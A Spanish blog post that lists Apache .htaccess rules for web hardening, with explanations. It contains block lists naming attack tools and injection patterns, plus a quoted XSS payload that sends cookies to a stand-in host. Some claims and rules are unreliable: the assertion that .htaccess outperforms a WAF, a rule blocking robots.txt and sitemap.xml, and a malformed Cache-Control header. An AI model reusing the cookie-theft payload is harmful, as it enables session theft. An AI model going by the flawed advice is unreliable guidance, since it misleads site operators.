Codigos de seguridad web para poner en el archivo .htaccess en servidores con Linux - Increiblemente efectivos (mejor que un sistema de firewall/waf ) 🔐

🌐 Traducir al inglés 🌐 Traducir al español IDIOMA ORIGINAL
Publicado el 29/06/2026 05:50 | Vivaperon.com

Imagen

En mi caso , la web tiene Linux con Apache, pero estos codigos son muy genericos, no son especificos para Linux , si tu pagina web tiene otro sistema como servidor es muy posible que igualmente sirvan de escudo de seguridad web.

El archivo .htacces es un archivo que ya viene por default en casi todos los paneles de administracion de archivos, es la "puerta" por el que pasan las solicitudes de ping o de entradas de algun visitante a la web o incluso de si alguien quiere acceder a entradas de la pagina mediante herramientas de hacking, aunque no les guste a los hackers...todas las solicitudes pasan por .htaccess 😎

Pasemos al grano sin guitarrear mucho 🎸 aunque a estrellitas del hacking como chema alonso preferirian guitarrear 3 horas y no explicar nada 😂

Codigo; <IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule ^ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]
</IfModule>

..........Sirve para Forzar redirección a HTTPS (Cifrado SSL/TLS) Este código detecta si un usuario está intentando acceder a tu web a través de una conexión no segura (HTTP) y lo redirige automáticamente a la versión segura y cifrada (HTTPS) mediante una redirección permanente (código 301). (explicado por la ia de chat.qwen.ai )

🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐

Codigo; <IfModule mod_rewrite.c>
RewriteCond %{REQUEST_METHOD} ^(CONNECT|DEBUG|PROPFIND|PROPPATCH|MKCOL|MOVE|LOCK|UNLOCK)$ [NC]
RewriteRule .* - [F,L]
</IfModule>

...........Sirve para inspeccionar el "método" que utiliza la petición HTTP (la forma en que el navegador o un bot intenta comunicarse con el servidor) y, si detecta que se está usando alguno de los métodos de la lista negra, bloquea el acceso inmediatamente devolviendo un error 403 Prohibido (Forbidden). (explicado por la ia de Chat.qwen.ai )

🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐

Codigo; <IfModule mod_headers.c>
Header always append X-Frame-Options "SAMEORIGIN" env=!allow_iframe
Header set Referrer-Policy "strict-origin-when-cross-origin"
Header set Permissions-Policy "geolocation=(), microphone=(), camera=()"
</IfModule>

.....................Antiguamente conocido como Feature-Policy. Los paréntesis vacíos () significan "prohibido para todos". Con esto, le prohíbes a cualquier script, plugin o anuncio de terceros dentro de tu web que intente acceder a la cámara, el micrófono o la ubicación GPS del visitante. .......Mejora drásticamente la privacidad de tus lectores y previene que scripts maliciosos (o vulnerabilidades de terceros) puedan espiar al usuario o engañarlo visualmente. Además, configurar estas cabeceras es un requisito fundamental para aprobar auditorías de seguridad modernas y obtener buenas calificaciones en herramientas como Mozilla Observatory o SecurityHeaders.com. (explicado por la ia de Chat.qwen.ai )

🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐

Codigo; <IfModule mod_rewrite.c>
RewriteCond %{QUERY_STRING} (\.\./|\.\.\\|%2e%2e%2f|%252e%252e%252f|/%2e%2e/|/\.\./|\.\.;|\.\.%5c|%3c%2e%2e%2f) [NC]
RewriteRule .* - [F,L]
</IfModule>

............................Este código escanea la cadena de consulta de la URL (la parte que viene después del signo ? en un enlace, como ?archivo=valor) buscando patrones sospechosos que intentan acceder a directorios superiores o archivos del sistema. Si detecta alguno, bloquea la petición con un error 403 Prohibido.
Protege contra tecnicas de ''ataque de Directory Traversal'' Los atacantes intentan "escapar" del directorio web actual usando secuencias como ../../../etc/passwd para acceder a archivos sensibles del servidor que normalmente están protegidos. Por ejemplo, podrían intentar leer archivos de configuración del sistema, contraseñas, o datos privados. Previene la exposición de archivos sensibles del servidor.

Aunque las aplicaciones web modernas suelen tener sus propias protecciones, este código añade una capa extra de defensa a nivel de servidor. Si tu web tiene algún plugin, formulario o script vulnerable que no filtre correctamente los parámetros de entrada, este código bloqueará los intentos de Directory Traversal antes de que lleguen a la aplicación.

🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐

Codigo; <IfModule mod_headers.c>
Header set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" env=HTTPS
</IfModule>

................................Este código implementa HSTS (HTTP Strict Transport Security). Le dice al navegador del visitante: "A partir de ahora, OLVIDA que esta web existe en HTTP. Durante el tiempo que te indico, accede SIEMPRE a través de HTTPS, incluso si el usuario escribe http:// manualmente o hace clic en un enlace antiguo que use HTTP".

Protege contra ataques de degradación (SSL Stripping) y secuestro de sesiones.
SSL Stripping: Un atacante en una red WiFi pública podría interceptar la petición HTTP inicial y mantener al usuario en HTTP sin cifrado, aunque tu web soporte HTTPS. Con HSTS, esto es imposible porque el navegador ya sabe que debe usar HTTPS desde el primer momento.

Cookies seguras: Asegura que las cookies de sesión solo se transmitan por conexiones cifradas, evitando que atacantes las roben en redes inseguras.

Confianza total: Una vez que un usuario visita tu web, su navegador "aprende" que siempre debe usar HTTPS, protegiéndolo en visitas futuras.

🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐

Codigo; <IfModule mod_rewrite.c>
RewriteCond %{REQUEST_URI} (\.git/|\.env|\.log|\.sql|\.bak|\.old|\.swp|\.save) [NC]
RewriteRule .* - [F,L]
</IfModule>

.......................................Función: Bloqueo de acceso a archivos sensibles y de respaldo
Este código escanea la URL solicitada y, si detecta que alguien intenta acceder a archivos con extensiones o nombres que suelen contener información delicada (backups, configuraciones, logs, bases de datos, etc.), bloquea el acceso inmediatamente con un error 403 Prohibido.
Previene fugas masivas de información crítica del servidor.
Muchos ataques exitosos no son por vulnerabilidades complejas, sino porque los atacantes encuentran archivos que los desarrolladores olvidaron borrar o proteger. Por ejemplo:

Un archivo .env expuesto puede dar acceso completo a la base de datos y servicios externos.
Una carpeta .git expuesta permite descargar todo el código fuente de la web.
Un archivo .sql puede contener millones de registros de usuarios.

Este código actúa como una red de seguridad que bloquea el acceso a estos archivos incluso si accidentalmente se suben al servidor o quedan en directorios públicos.

🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐

Codigo; <IfModule mod_deflate.c>
AddOutputFilterByType DEFLATE text/html text/plain text/css application/javascript application/json
</IfModule>

...............Mas que un codigo de seguridad es un codigo de optimizacion y rendimiento
Este código activa la compresión de archivos en el servidor antes de enviarlos al navegador del visitante. En lugar de enviar el archivo completo (que puede pesar mucho), lo comprime, lo envía, y el navegador lo descomprime al recibirlo. El resultado: tu web carga mucho más rápido.
Beneficio principal (Rendimiento):

Reduce el tamaño de los archivos hasta un 70-90%, lo que acelera drásticamente la carga de tu web.
Ahorra ancho de banda del servidor.
Mejora el SEO: Google tiene en cuenta la velocidad de carga como factor de posicionamiento.
Mejora la experiencia de usuario, especialmente en móviles o conexiones lentas.

Beneficio indirecto de Seguridad:
Aunque no protege contra ataques directamente, un servidor que sirve páginas comprimidas consume menos recursos por petición, lo que lo hace ligeramente más resistente a ataques de denegación de servicio (DoS) basados en saturación de ancho de banda. Además, al reducir el tiempo de carga, se minimiza la ventana de tiempo en la que un atacante podría interceptar datos en tránsito.

🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐

Codigo; <IfModule mod_headers.c>
Header set Connection keep-alive
</IfModule>

..........................Este código le indica al servidor que mantenga abierta la conexión TCP con el navegador del visitante después de descargar una página, en lugar de cerrarla inmediatamente. Así, cuando el navegador necesite descargar más recursos de tu web (imágenes, CSS, JavaScript, etc.), puede reutilizar la misma conexión en lugar de abrir una nueva cada vez.
Acelera la carga de la web de forma notable, especialmente en páginas con muchos recursos (imágenes, scripts, estilos).
Reduce la latencia, ya que evita el proceso de "negociación" que requiere abrir una nueva conexión TCP por cada archivo.
Reduce la carga del servidor, porque manejar menos conexiones simultáneas es más eficiente.
Mejora el SEO, ya que Google valora positivamente la velocidad de carga.

Beneficio indirecto de Seguridad:
Aunque no protege contra ataques específicos, un servidor más eficiente y rápido:

Resiste mejor los ataques DoS/DDoS, ya que puede atender más peticiones legítimas con los mismos recursos.
Reduce la ventana de exposición al acelerar las transacciones, minimizando el tiempo en que los datos viajan por la red.

🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐

Codigo; <IfModule mod_headers.c>
# Activar el encabezado X-XSS-Protection
Header set X-XSS-Protection "1; mode=block"
</IfModule>

..............................................................Función: Activar el filtro anti-XSS del navegador (X-XSS-Protection)
Este código activa el filtro de Cross-Site Scripting (XSS) integrado en los navegadores web. Si el navegador detecta que se está intentando inyectar código malicioso (scripts) en la página a través de un ataque XSS reflejado, esta cabecera le indica que debe bloquear la carga de la página en lugar de intentar "limpiarla".
¿Qué es un ataque XSS (Cross-Site Scripting)?
Es un ataque donde un atacante inyecta código JavaScript malicioso en una página web. Por ejemplo, si un formulario de comentarios no filtra correctamente las entradas, un atacante podría enviar un comentario como: <script>document.location='http://malicioso.com/robar?cookie='+document.cookie</script>
Beneficio de Seguridad:

Protege contra ataques XSS reflejados en navegadores antiguos que aún soportan esta cabecera.
Bloquea la ejecución de scripts maliciosos antes de que puedan robar cookies, sesiones o datos del usuario. Añade una capa extra de defensa junto con las validaciones del lado del servidor.

🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐

Codigo; Options -Indexes

................Este código impide que el servidor muestre el contenido de las carpetas cuando un usuario accede a un directorio que no tiene un archivo índice (como index.html o index.php). En lugar de mostrar una lista con todos los archivos de la carpeta, el servidor devolverá un error 403 Prohibido.

🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐

Codigo; RewriteCond %{HTTP_USER_AGENT} ^-?$ [OR]
RewriteCond %{HTTP_USER_AGENT} (curl|wget|nikto|libwww-perl|python-requests|Go-http-client|java|scrapy|scanbot|sqlmap) [NC]
RewriteRule ^ - [F,L]

................................Función: Bloqueo de bots maliciosos, herramientas de escaneo y user agents vacíos
¿Qué hace exactamente?
Este código inspecciona el User-Agent (la "tarjeta de presentación" que envía cada navegador o herramienta al conectarse al servidor) y, si detecta que proviene de herramientas de ataque, bots de escaneo automatizado, o que directamente no envía identificación, bloquea el acceso con un error 403 Prohibido.

Filtra el 90% del tráfico automatizado malicioso antes de que llegue a tu aplicación web.
Protege contra escaneos de vulnerabilidades: Herramientas como nikto o sqlmap son las primeras que usan los atacantes para encontrar puntos débiles en tu web.
Reduce la carga del servidor al rechazar peticiones de bots que consumen recursos sin aportar valor.
Previene el scraping no autorizado de tu contenido (artículos, imágenes, etc.).
Bloquea bots que no se identifican, que suelen ser los más sospechosos.

🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐

Codigo; RewriteRule ^(robots\.txt|sitemap\.xml)$ - [F,L]

..............Función: Bloquear el acceso a robots.txt y sitemap.xml
¿Qué hace exactamente? Este código bloquea completamente el acceso a dos archivos críticos para el SEO: robots.txt y sitemap.xml. Si alguien (incluyendo los buscadores como Google) intenta acceder a ocioytv.com/robots.txt o ocioytv.com/sitemap.xml, recibirá un error 403 Prohibido.

🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐

Codigo; <Files "(.gitignore|.gitmodules|composer.json|package.json)">
Require all denied
</Files>

...............................Este código bloquea el acceso público a archivos que revelan información crítica sobre la estructura, dependencias y configuración interna de tu proyecto web. Si alguien intenta acceder a estos archivos, recibirá un error 403 Prohibido.
Desglose rápido para tu informe:

<Files "(.gitignore|.gitmodules|composer.json|package.json)">: Selecciona específicamente estos 4 archivos.
Require all denied: Sintaxis de Apache 2.4+ que deniega completamente el acceso.

Archivos bloqueados y por qué son peligrosos si se exponen:

.gitignore
Revela qué archivos y directorios ignoras en tu repositorio Git
Puede mostrar la estructura interna de tu proyecto (carpetas de configuración, logs, backups)
Los atacantes pueden deducir qué archivos sensibles existen en tu servidor
.gitmodules
Muestra los submódulos Git que usa tu proyecto
Revela repositorios externos y sus versiones específicas
Puede exponer URLs de repositorios privados o internos
composer.json (PHP)
Lista TODAS las dependencias de PHP y sus versiones exactas
Los atacantes buscan vulnerabilidades conocidas en versiones específicas de librerías
Revela el framework que usas (Laravel, Symfony, etc.) y su versión
package.json (Node.js)
Lista TODAS las dependencias de JavaScript/Node y sus versiones
Muestra scripts de build, pruebas y despliegue
Puede exponer herramientas internas y configuraciones de desarrollo

🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐

Codigo; RewriteCond %{REQUEST_METHOD} ^(PUT|DELETE|TRACE|TRACK) [NC]
RewriteRule ^ - [F]

..........................................Este código bloquea cuatro métodos HTTP específicos que, aunque están definidos en el estándar, rara vez son necesarios en una web normal y pueden ser explotados por atacantes para realizar acciones destructivas o robar información. Si detecta alguno, devuelve un error 403 Prohibido.

🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐

Codigo; <FilesMatch "\.(htaccess|htpasswd|ini|env|log|sh)$">
Order allow,deny
Deny from all
</FilesMatch>

.................................Función: Bloqueo de archivos de configuración y sistema del servidor
¿Qué hace exactamente? Este código utiliza una expresión regular para detectar cualquier archivo que tenga las extensiones listadas y bloquea completamente su acceso público. Si alguien intenta descargar o visualizar estos archivos, recibirá un error 403 Prohibido.

🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐

Codigo; RewriteEngine On
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
RewriteRule ^(.*)$ index.php [F,L]

......................................¿Qué hace exactamente? Este código analiza la cadena de consulta (query string) de la URL y bloquea con error 403 Prohibido tres tipos de ataques:

Inyección XSS (Cross-Site Scripting): Detecta etiquetas <script> en la URL, ya sea en formato normal (<script>) o codificado (%3Cscript%3E).

Manipulación de GLOBALS: Bloquea intentos de sobrescribir la variable superglobal GLOBALS de PHP mediante parámetros como GLOBALS=, GLOBALS[ o codificaciones similares.

Manipulación de $_REQUEST: Bloquea intentos de sobrescribir la variable superglobal _REQUEST de PHP, que combina datos de GET, POST y COOKIES.

🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐

Codigo; <IfModule mod_headers.c>
Header set X-Content-Type-Options: nosniff
</IfModule>

................................Esta cabecera le indica al navegador que NO intente adivinar el tipo de contenido de los archivos basándose en su contenido, sino que respete estrictamente el tipo MIME declarado por el servidor en la cabecera Content-Type.
Previene ataques XSS mediante archivos subidos con extensiones engañosas

Bloquea la ejecución de scripts en recursos que deberían ser solo imágenes, CSS o archivos estáticos

Fuerza al navegador a tratar cada archivo según su tipo declarado, eliminando ambigüedades que los atacantes podrían explotar

🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐

Codigo; <IfModule mod_headers.c>
Header set Edge-Control "no-cache, no-store"
</IfModule>

...................................Esta cabecera le indica a los servidores CDN (específicamente Akamai Edge y compatibles) que NO almacenen en caché las respuestas de tu web, ni en los servidores intermedios (edge) ni en los navegadores de los usuarios. Cada petición debe ir siempre al servidor de origen.
¿Qué problema resuelve?

Contenido dinámico: Si tu web muestra contenido personalizado (usuarios logueados, carritos de compra, dashboards), no quieres que otro usuario vea datos cacheados de alguien más.
Información sensible: Evita que datos privados queden almacenados en servidores CDN intermedios o en navegadores compartidos.
Actualizaciones inmediatas: Garantiza que los cambios en tu web se reflejen al instante, sin esperar a que expire la caché.

Beneficio de Seguridad:

Previene fugas de información entre usuarios en entornos CDN
Protege datos de sesión y contenido personalizado de ser cacheados accidentalmente
Elimina riesgos de exposición en servidores edge compartidos o navegadores públicos

🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐

Codigo; <IfModule mod_headers.c>
Header set Age "0"
</IfModule>

.................................Esta cabecera HTTP indica que el tiempo que el objeto ha estado almacenado en caché es 0 segundos, es decir, que la respuesta es fresca y proviene directamente del servidor de origen, no de una caché intermedia.
¿Qué problema resuelve?

Sincronización de caché: Los servidores CDN y proxies usan la cabecera Age para calcular cuánto tiempo ha pasado desde que se obtuvo el contenido del origen. Establecerla en 0 fuerza a que el contenido se considere "recién obtenido".
Control de frescura: Indica a navegadores y proxies que no deben confiar en versiones cacheadas antiguas, sino que deben validar o revalidar el contenido.

🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐

Codigo; <IfModule mod_headers.c>
Header set Cache-Control "private, max-age=0, must-revalidate, post-check=0, pre-check=0 no-store, no-cache,"
</IfModule>

............................Esta cabecera le indica al navegador del visitante que NO almacene ninguna copia del contenido en su caché local. Cada vez que el usuario acceda a la página, el navegador debe solicitarla de nuevo al servidor, sin usar versiones guardadas previamente.

Contenido dinámico o personalizado: Evita que usuarios vean datos de sesiones anteriores.

Información sensible: Impide que datos privados queden almacenados en dispositivos compartidos o públicos.

Actualizaciones en tiempo real: Garantiza que siempre se muestre la versión más reciente del contenido.

🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐

Codigo; <IfModule mod_headers.c>
Header set X-DNS-Prefetch-Control "on"
</IfModule>

.........................Esta cabecera le indica al navegador que active la resolución previa de nombres de dominio (DNS prefetch) para los enlaces externos que aparecen en la página. El navegador, de forma proactiva, resuelve las IPs de los dominios de destino antes de que el usuario haga clic en ellos.
¿Qué problema resuelve?

Latencia en enlaces externos: Cuando un usuario hace clic en un enlace hacia otro dominio, el navegador debe resolver el nombre de dominio (DNS) antes de conectar. Este proceso puede tardar entre 20 y 120 milisegundos.
Mejora de velocidad percibida: Al resolver los DNS por adelantado (mientras el usuario lee la página), cuando finalmente hace clic, la conexión es casi instantánea.
Acelera la navegación hacia recursos externos (CDNs, APIs, enlaces de terceros).
Reduce la latencia en la carga de recursos de dominios externos.
Mejora la experiencia de usuario, especialmente en webs con muchos enlaces a recursos externos.

🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐

Codigo; Header unset X-Powered-By

.......................Función: Ocultar la versión de PHP del servidor (X-Powered-By)
Ocultación de información (Security through obscurity): Los atacantes y bots de escaneo buscan esta cabecera para identificar qué versión de PHP está corriendo en el servidor. Es decir que un hacker primero estudia que version php tiene uno en el servidor, este codigo de seguridad oculta la version de php en caso de que la quieran averiguar, ....en caso de que no halla este codigo de seguridad y vea que hay una version vieja, osea desde 7,2 hasta 7.8, ya son versiones viejas y con muchos huecos de seguridad, hoy en dia ya muchos paneles de administracion tienen disponible la version 8.5 de php , la mas resiente y segura, se recomienda ir a la configuracion de php y activar la ultima version disponible

🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐

Codigo; <IfModule mod_headers.c>
Header unset X-Frame-Options
Header always set Content-Security-Policy "frame-ancestors 'self' https://*.blogspot.com vivaperon.com www.ocioytv.com www.ocioytv.blogspot.com ghs.google.com "
</IfModule>

......................................Este código implementa una política de seguridad moderna para controlar qué sitios web pueden incrustar tu página dentro de un iframe, las paginas web QUE NO ESTEN dentro de este codigo se consideran 'de no confianza' por lo que ninguna persona podra incrustar en un cuadro iframe en su pagina web nuestro sitio web, dentro de el codigo pondremos aquellas paginas web de confianza a las que le permitiremos realizar cuadros iframe

🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐

Codigo; <IfModule mod_authz_core.c>
Require all granted
</IfModule>
.........................Esta directiva de tipica en Apache otorga permiso de acceso completo a cualquier usuario o bot que solicite el recurso. Es el equivalente moderno a la antigua directiva Allow from all de Apache , solo permitira entradas comunes de existencia de las entradas existentes de un sitio web y las imagenes que tenga, pero si el bot intentara escanear recursos privados del sistema o archivos del servidor o archivos que puedan revelar credenciales de contraseñas se vera bloqueado por todos los anteriores

🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐

Codigo; RewriteCond %{HTTP_USER_AGENT} (AhrefsBot|SemrushBot|MJ12bot|DotBot|BLEXBot|YandexBot|spbot|Mail.RU_Bot|Python-urllib|curl|Wget|nikto|sqlmap|Hydra|Nmap|ZmEu|Morfeus|Scanner) [NC]
RewriteRule .* - [F,L]
................................Función: Bloqueo de bots de SEO agresivos y herramientas de hacking/escaneo
¿Qué hace exactamente? Este código inspecciona el User-Agent de cada petición HTTP y, si detecta que proviene de bots de rastreo SEO masivos o herramientas de ataque conocidas, bloquea el acceso inmediatamente devolviendo un error 403 Prohibido.

🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐

Codigo: <FilesMatch "(xmlrpc\.php|wp-config\.php|wp-login\.php|readme\.html|license\.txt|CHANGELOG\.md|composer\.json|composer\.lock|\.env|\.git|\.svn|\.htaccess|\.htpasswd|web\.config|phpinfo\.php|test\.php|shell\.php|backup\.sql|dump\.sql|install\.php|setup\.php|update\.php|phpmyadmin|adminer\.php)">
Require all denied
</FilesMatch>
.................es bueno PARA EL CASO DE QUE NO TENGAS UNA WEB CON WORDPRES
.....................Deniega el acceso público a una lista negra de archivos críticos que no deberían ser visibles desde fuera, devolviendo un error 403 Prohibido.
¿Qué archivos bloquea?

Archivos de WordPress: wp-config.php, wp-login.php, xmlrpc.php, readme.html
Bases de datos: backup.sql, dump.sql, phpmyadmin, adminer.php
Configuración: .env, .htaccess, .htpasswd, web.config
Repositorios: .git, .svn
Dependencias: composer.json, composer.lock
Scripts peligrosos: phpinfo.php, shell.php, install.php, setup.php

🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐

Codigo; RedirectMatch 403 ^/(wp-admin|wp-includes|administrator|admin|backend|cms|manager|typo3|user|panel|dashboard|phpmyadmin|myadmin|dbadmin|sql|backup|install|setup|update)/?.*$
......................Tambien como el anterior codigo ES BUENO PARA QUIENES NO USAMOS WORDPRESS EN LA PAGINA ENTONCES .........Utiliza RedirectMatch para bloquear con error 403 Prohibido cualquier intento de acceso a directorios comunes de administración, paneles de control, gestores de bases de datos y carpetas de instalación.
¿Qué directorios bloquea?

Administración WordPress: wp-admin, wp-includes
Paneles genéricos: administrator, admin, backend, cms, manager, user, panel, dashboard
CMS específicos: typo3
Bases de datos: phpmyadmin, myadmin, dbadmin, sql
Instalación y mantenimiento: backup, install, setup, update

🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐

Codigo; RewriteCond %{HTTP_USER_AGENT} (sqlmap|nikto|nmap|hydra|zmeu|morfeus|scanner|acunetix|dirbuster|whatweb|wpscan|commix|metasploit|wget|curl|python-urllib|java|libwww) [NC]
RewriteRule .* - [F,L]
...................Inspecciona el User-Agent de cada petición HTTP y bloquea con error 403 Prohibido cualquier solicitud que provenga de herramientas conocidas de pentesting, escaneo de vulnerabilidades o automatización de ataques.
¿Qué herramientas bloquea?

Escáneres de vulnerabilidades: sqlmap, nikto, acunetix, dirbuster, whatweb, wpscan, commix
Frameworks de ataque: metasploit
Escaneo de redes: nmap
Fuerza bruta: hydra
Bots maliciosos conocidos: zmeu, morfeus, scanner
Herramientas de automatización: wget, curl, python-urllib, java, libwww

🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐

Codigo; RewriteCond %{HTTP_USER_AGENT} ^-?$
RewriteRule .* - [F,L]
......................Función: Bloqueo de peticiones sin User-Agent o con User-Agent vacío
Inspecciona la cabecera HTTP_USER_AGENT de cada petición HTTP y bloquea con error 403 Prohibido cualquier solicitud que no envíe esta cabecera o que la envíe vacía
Filtra bots maliciosos y scripts de ataque que no envían identificación para pasar desapercibidos.
Bloquea herramientas de automatización que omiten el User-Agent para evadir detecciones básicas.
Reduce tráfico basura al servidor, ya que los navegadores legítimos siempre envían un User-Agent válido.

🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐🌐

Codigo; RewriteCond %{QUERY_STRING} (base64_encode|localhost|mosconfig|GLOBALS|_REQUEST|_COOKIE|eval\(|UNION.*SELECT|CONCAT|information_schema|table_name|cmd|shell|passwd|wget|curl) [NC]
RewriteRule .* - [F,L]
............Analiza la cadena de consulta (parámetros de la URL) y bloquea con error 403 Prohibido cualquier petición que contenga patrones asociados a ataques comunes contra aplicaciones web.
¿Qué tipos de ataques previene?

Inyección SQL: UNION.*SELECT, CONCAT, information_schema, table_name
Ejecución de código malicioso: eval\(, base64_encode
Manipulación de variables PHP: GLOBALS, _REQUEST, _COOKIE
Vulnerabilidades antiguas: localhost, mosconfig (ataques clásicos a Joomla/Mambo)
Ejecución de comandos del sistema: cmd, shell, wget, curl
Acceso a archivos del sistema: passwd (intento de leer /etc/passwd)

TODOS ESTOS CODIGOS DE SEGURIDAD EN ARCHIVO .htaccess SON PARA MI MODO DE VER, MUCHO MAS EFICIENTES QUE LOS SISTEMAS DE SEGURIDAD ''WAF /FIREWALL'' QUE TRAEN ALGUNOS SERVICIOS DE HOSTING YA QUE LOS SISTEMAS DE FIREWALL CASI SIEMPRE REACCIONAN AL SEGUNDO O A LOS DOS SEGUNDOS Y LUEGO RECIEN ATAJA ALGUNA INYECCION VIRIDICA, PERO ESTOS CODIGOS LOGRAN ATAJAR A LA INTRUSION HACKING, ANTES DE QUE LA AMENAZA LOGRE PENETRAR EN EL SERVIDOR , NO COMO LOS WAF QUE PRIMERO VEN UNA AMENAZA QUE YA ENTRO Y LUEGO LA ATAJAN
📊 Título: 152/800 caracteres | Contenido: 28,072 caracteres
⬅ : : : : : V O L V E R : : : : :

( HOME )
( REFRESH )
Ir a vivaperon.com